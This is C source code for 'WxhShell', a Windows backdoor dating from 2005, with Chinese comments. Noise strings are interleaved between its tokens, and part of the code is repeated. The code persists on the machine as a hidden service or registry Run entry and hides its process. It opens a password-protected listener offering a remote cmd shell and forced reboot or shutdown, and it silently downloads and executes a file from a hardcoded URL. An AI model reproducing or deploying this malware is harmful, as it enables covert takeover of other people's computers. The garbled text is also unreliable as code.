(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z`1o#yZ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c,s<q j Rx"VscB6z if (!NtQueryInformationProcess) return 0; Y8CYkJTAD- <wGTs6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /7HIL?r if(!hProcess) return 0; qaSv]k. 8#JyK+NU if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t-ReT_D|; WaO;hy~us CloseHandle(hProcess); "@'9+$i6 GH)+yD[o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "@<g'T0 if(hProcess==NULL) return 0; vH\nL>r P6Z,ci17 HMODULE hMod; 5<ya;iK char procName[255]; Fe>#}-` unsigned long cbNeeded; @P*P8v8: 9Qm{\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZ? =pfK\s ha'm`LiX
CloseHandle(hProcess); .;sPG eMMiSO!3 if(strstr(procName,"services")) return 1; // 以服务启动 Dg4^
C
M]:B: ; return 0; // 注册表启动 o+23?A~+ } -Y,Ibq '$ nGtB5 // 主模块 Iz=E8R g int StartWxhshell(LPSTR lpCmdLine) )uJ`E8>- { 97
X60< SOCKET wsl; Xpz-@fqKdf BOOL val=TRUE; AyXKhj#Ml int port=0; IaqN@IlWb struct sockaddr_in door; _5 -"< ~x#-#nuh" if(wscfg.ws_autoins) Install(); g}`CdVQ2M< Ho{?m^ port=atoi(lpCmdLine); :EAfD(D{) VH*(>^OfF if(port<=0) port=wscfg.ws_port; 78A4n C H zK=UcD WSADATA data; (
I~XwP& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V^H47O;VC }{PtQc6RL! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wY)GX
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4h@of' door.sin_family = AF_INET; z@LP9+?dE door.sin_addr.s_addr = inet_addr("127.0.0.1"); E 4(muhY door.sin_port = htons(port); dNmX<WXG eNKdub if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e
q.aN3KB" closesocket(wsl); 4ov~y1Da) return 1; rJ*WxOoS{ } 7[,f;zG 2 z l if(listen(wsl,2) == INVALID_SOCKET) { +4Ra N`I closesocket(wsl); D7oV&vXg return 1; cA^7}}?e } p#I1l2nE Wxhshell(wsl); ;]e"bX WSACleanup(); &0blHDMj{# [C#pMLp,~ return 0; 7~f l4* W12K93tO } +{*&I DW 6<GWDO // 以NT服务方式启动 XP1_{\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ku# _ { 6C5qW8q]u3 DWORD status = 0; A` 8If DWORD specificError = 0xfffffff; :@L5=2Z+ n*uZ=M_/Q serviceStatus.dwServiceType = SERVICE_WIN32;
)BB a serviceStatus.dwCurrentState = SERVICE_START_PENDING; D[?|\? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pu#<qD*w serviceStatus.dwWin32ExitCode = 0; C $;~= serviceStatus.dwServiceSpecificExitCode = 0; e4P.G4 serviceStatus.dwCheckPoint = 0; &0TheY;srf serviceStatus.dwWaitHint = 0; &kE|~i:=,9 =+WFx3/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Li^V?
if (hServiceStatusHandle==0) return; z@j&vW bf+2c6_BN0 status = GetLastError(); V-|}.kOH2 if (status!=NO_ERROR) i=UJ*c { "/=xu| serviceStatus.dwCurrentState = SERVICE_STOPPED; SfR_#"Uu serviceStatus.dwCheckPoint = 0; PGDlSB^O serviceStatus.dwWaitHint = 0; X35hLp8 M serviceStatus.dwWin32ExitCode = status; 6P8X)3CE<T serviceStatus.dwServiceSpecificExitCode = specificError; w4mL/j SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Sa<I.l return; fQh!1 R } &~EOM ;'urt / serviceStatus.dwCurrentState = SERVICE_RUNNING; V7<}
;Lzm serviceStatus.dwCheckPoint = 0; *,u{~(thR serviceStatus.dwWaitHint = 0; 'u~use" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i|e-N?l } N 2\,6 < -q27N^A0 // 处理NT服务事件,比如:启动、停止 Vow+,,oh VOID WINAPI NTServiceHandler(DWORD fdwControl) Y`v&YcX; { [o6d]i! switch(fdwControl) j.sf FS { r=;k[*;{ case SERVICE_CONTROL_STOP: qmGB~N|N serviceStatus.dwWin32ExitCode = 0; `B~%TEvMh serviceStatus.dwCurrentState = SERVICE_STOPPED; @NZ?D0" serviceStatus.dwCheckPoint = 0; Cb<\ serviceStatus.dwWaitHint = 0; fsu'W]f { Zx6BK=4G SetServiceStatus(hServiceStatusHandle, &serviceStatus); SrxX-Hir } [&$z[/4:8c return; /$E1!9J case SERVICE_CONTROL_PAUSE: }0
Z3Lrv serviceStatus.dwCurrentState = SERVICE_PAUSED; %rkUy?=vu break; 3JwmLGj} case SERVICE_CONTROL_CONTINUE: TX;|g1K serviceStatus.dwCurrentState = SERVICE_RUNNING; pLRHwL. break; 1-`8v[S case SERVICE_CONTROL_INTERROGATE: *ZHk^d: break; -H{{ }; k~R_Pq
S SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W@C!mD~ } 7J)-WXk 4&tY5m> // 标准应用程序主函数 wx<DzC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }wn GOr { vg<_U&N=-r @E1N9 S?> // 获取操作系统版本 g\2Y605DM OsIsNt=GetOsVer(); sf%=q$z GetModuleFileName(NULL,ExeFile,MAX_PATH); w1.~N`g$ M
C>{I3 // 从命令行安装 &iTsuA/7 if(strpbrk(lpCmdLine,"iI")) Install(); fV3J:^)F &_ber ad // 下载执行文件 =fm/l-P@ if(wscfg.ws_downexe) { p0b&CrALx if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !5ppA WinExec(wscfg.ws_filenam,SW_HIDE); /#blXI } V /|@ *M&~R(TMn if(!OsIsNt) { ?(F~9V // 如果时win9x,隐藏进程并且设置为注册表启动 h.PY$W< HideProc(); =r`>tWs StartWxhshell(lpCmdLine); o)w'w34FCT } )U5AnL else k9a-\UIMet if(StartFromService()) (ue;O~ // 以服务方式启动 jQc$>M<"o StartServiceCtrlDispatcher(DispatchTable); Bp9
u6R else azN<]u@. // 普通方式启动 w}+jfO9 StartWxhshell(lpCmdLine); n{|~x":9V 2: fSn&*/> return 0; y/E%W/3 } od$Cm5 +hi!=^b] iielAj*b =ayl~"bW =========================================== 0D=6-P?^W *&!&Y*Jzg rcAx3AK. Ak&eGd$d t '* L, 1InG%=jLo " WUZusW5s ]v$VZ' #include <stdio.h> |}=xA%) #include <string.h> wm_xH_{F #include <windows.h> !np-Jmi #include <winsock2.h> ??)IPRv?yF #include <winsvc.h> _I+QInD ;) #include <urlmon.h> \'x.DVp i1}Y;mj #pragma comment (lib, "Ws2_32.lib") \9jEpE^Ju( #pragma comment (lib, "urlmon.lib") TZ3"u@ 06 3P N<J #define MAX_USER 100 // 最大客户端连接数 s$s~p
+U #define BUF_SOCK 200 // sock buffer tP^2NTs%] #define KEY_BUFF 255 // 输入 buffer &C6Z-bS" A63=$ #define REBOOT 0 // 重启 c<fl6o) #define SHUTDOWN 1 // 关机 tFn_{fCc> M8(N9)N #define DEF_PORT 5000 // 监听端口 !59u z4 +XMKRt #define REG_LEN 16 // 注册表键长度 usc"m huQ #define SVC_LEN 80 // NT服务名长度 ,%6!8vX eaB6e@]@ // 从dll定义API 7wKT:~~oS3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z>}H[0[# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '(fQtQ% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <5BNcl\ZL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -Ph"#R& kT^|%bB[i // wxhshell配置信息 E?v:7p< struct WSCFG { =e*S h0dK int ws_port; // 监听端口 dT?mMTKn+ char ws_passstr[REG_LEN]; // 口令 x`n7D int ws_autoins; // 安装标记, 1=yes 0=no sYa;vg4[ char ws_regname[REG_LEN]; // 注册表键名 e>J.r("f char ws_svcname[REG_LEN]; // 服务名 o=C:= char ws_svcdisp[SVC_LEN]; // 服务显示名 zpgRK4p,I" char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;V v.$mI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zPm|$d int ws_downexe; // 下载执行标记, 1=yes 0=no 6
9+Pf* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b=+3/-d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <*_DC)&79 !KC4[;Y }; dj-/%MU L
NS O]\ // default Wxhshell configuration lq}m0}9< struct WSCFG wscfg={DEF_PORT, JIatRc?g "xuhuanlingzhe", \$+#7( K 1, BK]5g[
"Wxhshell", =[do([A "Wxhshell", SiLWy=qbR "WxhShell Service", 7x=-1wbi "Wrsky Windows CmdShell Service", -J":'xCP! "Please Input Your Password: ", weH;,e*r 1, bt=z6*C>A "http://www.wrsky.com/wxhshell.exe",
Lo*vt42{4 "Wxhshell.exe" .k!<Oqa }; ?G>E[!8ev +OaBA>Jh9 // 消息定义模块 :d1Kq _\K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +?'a2pUS char *msg_ws_prompt="\n\r? for help\n\r#>"; K?@x'q1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3w&Z:< char *msg_ws_ext="\n\rExit."; tq=7HM char *msg_ws_end="\n\rQuit."; |-9##0H char *msg_ws_boot="\n\rReboot..."; -&h<t/U char *msg_ws_poff="\n\rShutdown..."; '$h0l-mQ char *msg_ws_down="\n\rSave to "; *#.Ku(C+ L-`?=- 9` char *msg_ws_err="\n\rErr!"; RDxvN:v char *msg_ws_ok="\n\rOK!"; NQx>u )1/J5DI @8 char ExeFile[MAX_PATH]; 1}q(Pn2 int nUser = 0; x-T7
tr&( HANDLE handles[MAX_USER]; 8Xa{.y" int OsIsNt; 2m,t<Y; ts &sr
SERVICE_STATUS serviceStatus; _^h?JTU^ SERVICE_STATUS_HANDLE hServiceStatusHandle; ~p { fl? ua!RwSo // 函数声明 R:y u int Install(void); 0Wb3M"#9< int Uninstall(void); 8bX?HeYrr int DownloadFile(char *sURL, SOCKET wsh); NKYHJf2?x int Boot(int flag); &4m;9<8\ void HideProc(void); $aY:Z_s int GetOsVer(void); Lpk`qJ int Wxhshell(SOCKET wsl); es1'z.U J void TalkWithClient(void *cs); b?:SCUI int CmdShell(SOCKET sock); VrKFpFd int StartFromService(void); )2?A|f8 int StartWxhshell(LPSTR lpCmdLine); 9u1Fk'cxG, 4Y{&y6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \GCT3$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); $yZ(ws l j %k/u // 数据结构和表定义 pW5PF)([ SERVICE_TABLE_ENTRY DispatchTable[] = ;'oi7b { `cqZ;(^ {wscfg.ws_svcname, NTServiceMain}, *h~(LH"tN {NULL, NULL} nE"0?VNW$ }; sx][X itR+ +zzS // 自我安装 fj[tm int Install(void) EK}QjY[i { oT^r char svExeFile[MAX_PATH]; qD>D HKEY key; C/!8NV1:4 strcpy(svExeFile,ExeFile); Ffr6P
}I 6EkD(w // 如果是win9x系统,修改注册表设为自启动 &;@U54,wV if(!OsIsNt) { N0fXO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LJBDB6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EhHW` RegCloseKey(key); "dBCS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BXX1G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Jp"E5Ql) RegCloseKey(key); et :v4^*f return 0; P8;f^3V(+/ } G+l9QaFv } p>
4bj>Ql } -cnlj else { !FR1yO'd> `-)Fx<e // 如果是NT以上系统,安装为系统服务 IP+1 :M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T#w *5Qf if (schSCManager!=0) m#(ve1E { 0-w^y<\ SC_HANDLE schService = CreateService 9TILrK ( 5zsXqBG schSCManager, QTjOLK$e$ wscfg.ws_svcname, {T[/B"QZG wscfg.ws_svcdisp, 3a#j&] SERVICE_ALL_ACCESS, ,JmA e6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7&9'=G SERVICE_AUTO_START, 6Bfu89 SERVICE_ERROR_NORMAL, Gg9NG`e6I svExeFile, $[P>nRhW NULL, #%g~fh NULL, Q{Lsr, NULL, /A) v$Bv= NULL, >}ozEX6c2 NULL dc0Ro, ); .o5r;KD if (schService!=0) '((Ll { _A.?:'- CloseServiceHandle(schService); weiqt
*,8 CloseServiceHandle(schSCManager); l7r!fAV-f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <ST#<
$% strcat(svExeFile,wscfg.ws_svcname); {G%!M+n< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S
Yvifgp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8}W06k>)% RegCloseKey(key); t9()?6H\ return 0; , eZL&n } 0|:Ic, } $|YIr7?R CloseServiceHandle(schSCManager); ]4>[y?k34 } .SdEhW15) } B"I>mw -$4%@Z return 1; 0ZV)Y<DJ } BKm$H!u sy`:wp // 自我卸载 G JItGq`) int Uninstall(void)
Xze { (;a
O% HKEY key; %Ys>PzM VmkYl$WZo if(!OsIsNt) { ys;e2xekg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~&~%q u RegDeleteValue(key,wscfg.ws_regname); WJU`
g RegCloseKey(key); >{4pEy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~]/X,Cf RegDeleteValue(key,wscfg.ws_regname); IR%a+;Xs RegCloseKey(key); *ma/_rjK return 0; d#a } EBM\p+x& } 2ezuP F } Vrz!.X~ else { tTyu,%/m &u"*vG (U[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :*&wnQMKR if (schSCManager!=0) =O)JPo&iwY { S53%*7K. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H]=3^ g64 if (schService!=0) '{cN~A2b4 { #s#z@F if(DeleteService(schService)!=0) { 7Nwi\#o CloseServiceHandle(schService); >W'SG3Hmc CloseServiceHandle(schSCManager); OqBw&zm return 0; yK?~XV: } R/^JyL CloseServiceHandle(schService); qW7"qw= } ITc/aX CloseServiceHandle(schSCManager); BQS9q'u_ } qqzQKN } "}SERC7 c(#`z!FB return 1; DJQ]NY| } D hZtiqL#_ `8dE8:#Y // 从指定url下载文件
GoEIY int DownloadFile(char *sURL, SOCKET wsh) BE"nyTQ { LDBR4@V HRESULT hr; YRp\#pVnZ char seps[]= "/"; zK-hNDFL{ char *token; ($S{td; char *file; Q"hI !PO+ char myURL[MAX_PATH]; )E7A,ZW, char myFILE[MAX_PATH]; "ZyHt HAK )%y~{j+ M strcpy(myURL,sURL); 9uS7G * token=strtok(myURL,seps); <go~WpA|r while(token!=NULL) <,E*,&0W { 2 !;4mij, file=token; #Y5I_:k token=strtok(NULL,seps); gw*d"~A } b<F 4_WF %C3cdy_c GetCurrentDirectory(MAX_PATH,myFILE); Q"Ec7C5eM strcat(myFILE, "\\"); -YuvEm#f strcat(myFILE, file); 5dgBSL$A}] send(wsh,myFILE,strlen(myFILE),0); W1@;94Sb~ send(wsh,"...",3,0); /B!m|)h5~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vfv5ex( if(hr==S_OK) NdNfai return 0; eYcx+BJ else *.*:(7` return 1; lXPn]iLJ ltrSTH,kL } [*vN`AfE +E [b Lz^ // 系统电源模块 7P`1)juA9 int Boot(int flag) =a!6EkX
* { WsV3>=@f HANDLE hToken; >1~`tP TOKEN_PRIVILEGES tkp; w3w*"M cik@QN<[0 if(OsIsNt) { Dy@\!F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); if}]8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 68c;Vb tkp.PrivilegeCount = 1; m6x. "jG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cx,A.Lc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Uu
X"AFy~\ if(flag==REBOOT) { 2SJh6U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X}-H=1T? return 0; 7S2F^,w } E)hinH else { Tqa4~|6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kV rT? return 0; 12PE{Mut } X{xJ*T y' } JYr7;n'! else { Qg>GW if(flag==REBOOT) { DP_Pqn8p&M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hm*vKFhz return 0; vEe } IJc#)J.2A else { (YJAT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'h^DI` return 0; ,:(leWeA9 } =(X'c.%i } GQ0 (&I tN3 {7'\7 return 1; 'B5J.Xe: } -fx88 GLQvAHC // win9x进程隐藏模块 Hs}"A,V void HideProc(void) eH!|MHe { /e sk "$IwQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y}-S~Ov>I if ( hKernel != NULL ) z){UuiUM+= { '}`hY1v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~R@m!'Ik ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q&$0i FreeLibrary(hKernel); ;9 &1JX } \Tf{ui wt.{Fqm return; )4)iANH? } O?,i? ?*R^?[ // 获取操作系统版本 lcT+$4zk. int GetOsVer(void) i)= 89?8 { K@sP~(' OSVERSIONINFO winfo; =E}%>un winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K# i*9sM GetVersionEx(&winfo); \m~\,em if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "4k=(R? return 1; UE,~_hp else G2+)R^FSC return 0; 'oiD#\t4 } )Kk(P/s
~\:j9cC // 客户端句柄模块 t6%xit+ int Wxhshell(SOCKET wsl) h>^jq{yu { J ]Gc SOCKET wsh; K?Xo3W%K struct sockaddr_in client; M`C~6Mf+ DWORD myID; >,"D9! R#7+ while(nUser<MAX_USER) rxgVT4 { >uchF8)e| int nSize=sizeof(client); H8<7# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); spU!t-n67 if(wsh==INVALID_SOCKET) return 1; ngkeJ)M0$ {c\oOM<7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q 9gFTLQ if(handles[nUser]==0) 1^60I#Vr@ closesocket(wsh); Dmm r]~ else >0<KkBH nUser++; S1az3VJI\ } _Xk03\n6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KXx@
{cv V^Mf4!A(y return 0; @!&Jgg53G } _8x'GK
tU Oa.f~|
// 关闭 socket Vyq#p9Q void CloseIt(SOCKET wsh) ]w_ { X #p o|,Q closesocket(wsh); ET,0ux9F nUser--; u>t|X}JH ExitThread(0); PzMlua } 0279g HeT6Dv // 客户端请求句柄 M}=s3[d(, void TalkWithClient(void *cs) S6Xb*6 {
d-ag \tiUEE|k SOCKET wsh=(SOCKET)cs; *;OJ~zT char pwd[SVC_LEN]; -TK|Y" char cmd[KEY_BUFF]; j[m_qohd7 char chr[1]; .Ca"$2 int i,j; wO2V%v^bp P7'oXtW{o while (nUser < MAX_USER) { Xr@l+zr [l8V<*x%S9 if(wscfg.ws_passstr) { x9x#'H3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?AeHVQ
:C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zz(!t eBC //ZeroMemory(pwd,KEY_BUFF); 5"-una>D i=0; F,p`-m[q while(i<SVC_LEN) { L;1$xI8tx laUu"cS // 设置超时 B\=SAi fd_set FdRead; qYgwyj=4 struct timeval TimeOut; zdxT35h FD_ZERO(&FdRead); *3A3>Rwu FD_SET(wsh,&FdRead); XKz;o^1a^ TimeOut.tv_sec=8; |eH wp TimeOut.tv_usec=0; 2Ueq6IuQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^%\)Xi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^lHb&\X Q!4i_)rM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V,>+G6e pwd=chr[0]; kZV^F*7 if(chr[0]==0xd || chr[0]==0xa) { !cq=)xR pwd=0; B<|:K\MA break; OOEV-= } nc3sty1` i++; vOos*& } <Vz<{W3t qSFc=Wwc // 如果是非法用户,关闭 socket zq,iLoY[R if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vS7/ ~:C } ?j1_
n,d 6OfdD.y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yta1` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lp,\]] M
(+.$uz while(1) { q>^hoW2$C 1*Sr5N[= ZeroMemory(cmd,KEY_BUFF); `@h:_d (7IqY1W // 自动支持客户端 telnet标准 c]6V"Bo}A j=0; %oAL while(j<KEY_BUFF) { VBu8}}Ql if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cvKV95bn cmd[j]=chr[0]; Y.q>EUSH if(chr[0]==0xa || chr[0]==0xd) { i\(\MzW*' cmd[j]=0; vT?Q^PTO break; CV s8s } /@Ez" ?V2 j++; W@l+ciZ_ } L'>s(CR _)Qy4[S=d // 下载文件 ([Ebsj if(strstr(cmd,"http://")) { WElrk:b send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,!`SY) if(DownloadFile(cmd,wsh)) [_h%F,_ A send(wsh,msg_ws_err,strlen(msg_ws_err),0); _WKJ<dB< else 8)sg_JC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !6Q`>s] } :y\09)CJK else { i|%5 Rvvh{U;t switch(cmd[0]) { 7$
d}!S 9mQ#L<Ps // 帮助 Te;gVG * case '?': { J/t!-! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ob'n{T+lZ break; 1i
u =Y } R*yU<9Mm8 // 安装 7IW> >RBF case 'i': { H>.B99vp if(Install()) =<{ RX8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "x&3Z@q7 else XvskB[\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !qA8Zky_ break; vBNZ<L\|a } 8%[HYgd5) // 卸载 ^YKy9zkTl case 'r': { o 7G> y#Y if(Uninstall())
: tM?%=Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); , H2YpZk else ' "'Btxz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bD<qNqX$ break; PKA }zZ } C0fmmI0z~ // 显示 wxhshell 所在路径 Pr+~Kif case 'p': { gDCOLDM char svExeFile[MAX_PATH]; LmQ/#Gx strcpy(svExeFile,"\n\r"); |y"jZT6R}t strcat(svExeFile,ExeFile); aI(>]sWJ send(wsh,svExeFile,strlen(svExeFile),0); Fk1.iRVzi break; v7IzDz6gF } frN3S // 重启 :.iyR case 'b': { %6ub3PLw8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sdd9Dv?! if(Boot(REBOOT)) wqD5d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8~ #M{} else { Z0ReWrl;` closesocket(wsh); n#*`!# ExitThread(0); W#XG; } #SkX@sl@ break; (9$"#o } *Msr15 // 关机 ?_q+&)4-o case 'd': { /N)5
3!LT send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ],lV}Mlg* if(Boot(SHUTDOWN)) N[Sb#w`[/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #
|^^K!% else { C+%K6/J( closesocket(wsh); 8]< f$3. ExitThread(0); |dmh } dDtFx2(R break; GXX+}=b7qO } I,O#X)O|i // 获取shell "0&N} case 's': { 2~c~{ jl\ CmdShell(wsh); sR=/%pVN closesocket(wsh); >UHa ExitThread(0); naNyGE7) break; I*\^,ow } 4MW ]EQ- // 退出 ^Jx$t/t case 'x': {
27 GhE send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *'ZN:5%H CloseIt(wsh); .g% Y@r)=5 break; orIQ~pF# } ]hTb@. // 离开 ftZj}|R! case 'q': {
=P^wh send(wsh,msg_ws_end,strlen(msg_ws_end),0); NZXjE$<Vr closesocket(wsh); IA*KaX2S< WSACleanup(); .%xzT J=! exit(1); =_pwA:z"A break; 9=+-QdX+0] } c-CYdi@ } sR_xe}- } uS5o?fg\e w+AuMc // 提示信息 B0)]s<< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OX hAha`R } >+9JD%]x] } 7_\Mwy{P Fhj8lVvk return; "="O > } F0dI/+ cFZCf8:zB // shell模块句柄 Z(Q2Ue;}& int CmdShell(SOCKET sock) eD;6okdP { rVryt<2:@r STARTUPINFO si; *\XH+/]+ ZeroMemory(&si,sizeof(si)); z&+
zl6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )]Ti>R O7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e~\QE0Oe : PROCESS_INFORMATION ProcessInfo; yTAvF\s$( char cmdline[]="cmd"; d'HOpJE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RA/EpD:H return 0; Q/^A #l[ } XGs^rIf jBtj+TL8 // 自身启动模式 2WCLS{@' int StartFromService(void) .p@N:)W6 { \ e:d)^cbh typedef struct RA1yr+) { lAASV{s{ DWORD ExitStatus;
'3,\@4 DWORD PebBaseAddress; T] | d5E DWORD AffinityMask; >1|g5 DWORD BasePriority; ;4~U,+Av ULONG UniqueProcessId; Tj`5L6N;8 ULONG InheritedFromUniqueProcessId; .YcN S% } PROCESS_BASIC_INFORMATION; t@B(+ `rFAZcEj% PROCNTQSIP NtQueryInformationProcess; #}yTDBt 9'KonW static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zICI_*~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vv5i? F
%FA@)?~ HANDLE hProcess; ! -tz4vjw PROCESS_BASIC_INFORMATION pbi; p+w8$8) ]|Z b\{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y94MI1O5$ if(NULL == hInst ) return 0; z'MS#6|} sa#.l% # g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z!{UWegun g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S%6U~@hig NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &7 [[h+Lb P:!)9/.2 if (!NtQueryInformationProcess) return 0; p^QZ q>v AFm1t2,+;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;A#~`P if(!hProcess) return 0; 7TWNB{
K_ zVaCXNcbo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,=By$.rr' La,QB3K/ CloseHandle(hProcess); JOfV]eCL ]((i?{jb( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +;gsRhWk if(hProcess==NULL) return 0; {d!Y3+I%G x>3@R0A1: HMODULE hMod; .[j%sGdKl char procName[255]; uP|FJLY unsigned long cbNeeded; ]0~qi@ S+I^!gT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a6nlt?1?D `gguip-C CloseHandle(hProcess); Ja [ 4A0. Sb"2Im > if(strstr(procName,"services")) return 1; // 以服务启动 >)c9|e=8 KD*O%@X5C return 0; // 注册表启动 .Q\\dESn" } 